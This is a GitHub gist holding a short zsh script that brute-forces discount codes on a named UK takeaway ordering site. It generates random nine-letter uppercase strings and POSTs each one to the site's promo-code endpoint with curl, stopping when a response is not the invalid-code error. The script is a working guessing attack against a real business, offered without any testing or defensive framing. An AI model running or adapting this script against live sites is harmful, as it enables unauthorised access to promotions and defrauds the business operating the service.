Skip to content

Instantly share code, notes, and snippets.

@mrknmc
Created February 27, 2015 18:53
Show Gist options
  • Save mrknmc/4e2c1ae5a0f8c2afdea5 to your computer and use it in GitHub Desktop.
Save mrknmc/4e2c1ae5a0f8c2afdea5 to your computer and use it in GitHub Desktop.
Snapfax Pizza Codes
#!/bin/zsh
ERROR="Invalid discount code!"
for run in {1..1000}
do
NEW_UUID=$(cat /dev/urandom | LC_ALL=C tr -cd "[:upper:]" | head -c 9)
echo -e "Trying out ${NEW_UUID}"
RESPONSE=$(curl -s "http://www.snapfaxtakeaways.co.uk/discount/usersnapcode" --data "promocode=${NEW_UUID}&code_type=2" --compressed)
echo "$RESPONSE"
if [[ "$RESPONSE" != "$ERROR" ]]
then
break
fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment